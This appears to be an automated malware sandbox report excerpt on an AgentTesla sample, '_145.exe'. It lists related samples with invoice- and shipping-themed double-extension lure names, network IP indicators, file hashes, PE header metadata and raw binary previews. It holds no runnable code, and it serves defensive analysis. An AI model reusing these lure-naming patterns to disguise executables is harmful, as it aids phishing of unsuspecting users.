	Sat_nalma_sipari_i0635-2024.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	SecuriteInfo.com.Win32.PWSX-gen.24248.18304.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	kxSZBoK5rr.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212
	q2cnKcb6TT.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	ENQ_#_1220014088.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	Shipping_Doc_pdf.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	_Top_Urg.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	Invoice_INVO3446766.pdf.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.77
	BL_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.212

Process:	C:\Users\user\Desktop\_145.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	14264
Entropy (8bit):	7.986399184644429
Encrypted:	false
SSDEEP:	384:s1BROOat0SIkIR1KTKOQPPjEKpVCvCJrI/+Ff:s1TU7PMHj7yaL9
MD5:	9B4D3F7A4BEB3330D49F16FC03F50A09
SHA1:	C6002C89FFFE4E2B8C7C4432BB81E766830980B7
SHA-256:	295A14E53793575F3AF8CB3942C87E5D77703F0BDFBF59D4CCD784B82E45D237
SHA-512:	388024BA6B6AA54543A2C2FCAB217EF24FD6EA9BCEEB8ED2622411F4C530AB8621096FC833030F254B907B272BAABBD598B128610AD71D4A9292E3972A483A30
Malicious:	false
Reputation:	low
Preview:	...$..=...\|A^H...n.....e...jWq...4......Ojk^..........e ...i.{....B@.......`.lt.TY.Ue..~._.)......J%.6H..../(~.<....y..3..j..B.i>..Q.W.Ii.W9....C..n.{..g.mGkc>...En{.').4.k.s....o..j.A..N}.Z.G}.."..fL..]HP'..X.D.+.....j,.j./k..(.J....0U......]].."1..a.(.j...c...+....)D.h..!....,[..z....LQV......4...go2...){6U.=<a..H+%g^.........N[./..r.wl..tT.....w..].h.G&....$..es.C...<nh.l.pL.z...$....`.#.$S..j.J...n.......{..6...n.,~..X.+...5wm5.t..D@.8.N.G.D......Q...1.^..[.)...}.s....=&..N...=b...7..z...]$0l......"b...O....@.....zw...F.....sZ7O.H'j.y..V.2......R.CZ.XN........2. K...,Bx..+/...%..L....^.\g~.r.H.....x....T......rO;X..i,...D....g?.k.@...z....Y...}.......^....`.8.[.z..LQAE.'G^[..\.P....A..n.\|.E.......V.........#......)..9..Vs...R.;.R....6v.....&.de..5.....YI;L.t.^.#..@......B.@....0....F!..F.6?..#Ha...S....dJ.i..h..*.g..aN..7.S....b..:...F.B.Z....-\U...'G.....Q@...kqO.:U....2X.I.6n....3..g.aop....3..rEF..<..`.,;a..!.H...\n..R......

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.556269932810154
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	_145.exe
File size:	197'120 bytes
MD5:	b54d7da0fe6869006ffd3b9b470f0dc4
SHA1:	5d0b9521cca0c911d49162e7f416a1463fbaefae
SHA256:	df29d5c4a750663440ce76d6804ce88e03faeef9591ec0b3b9ca348a6c930b7f
SHA512:	fa50a574ca3495d844fa1a0471e97dc32a4e64e8d20bc9ef6efea5c6bd4fd3b91f6026f7b3da747f69e354cb157e197557c7cdb8d30d0f81cd6458ec8b63e87a
SSDEEP:	6144:MQiXrxXhB2sYm28QY4BCRSjX0PGj3IPE:MXX5H52zCR7PGr
TLSH:	4D149D607AC085F1E4AB093856F46F795CEFBE200B61A5DB13504F795E326E29830FA7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F....f.D.f.D.f.D...E.f.D...E.f.DP..E.f.DP..E.f.DP..E.f.D...E.f.D...E.f.D...E.f.D.f.D.f.D...E&f.D...D.f.D...E.f.DRich.f.D.......

Entrypoint:	0x412d1d
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64DE7FCB [Thu Aug 17 20:15:07 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	78dcbf78ff2f594b643a10aeb85b9d87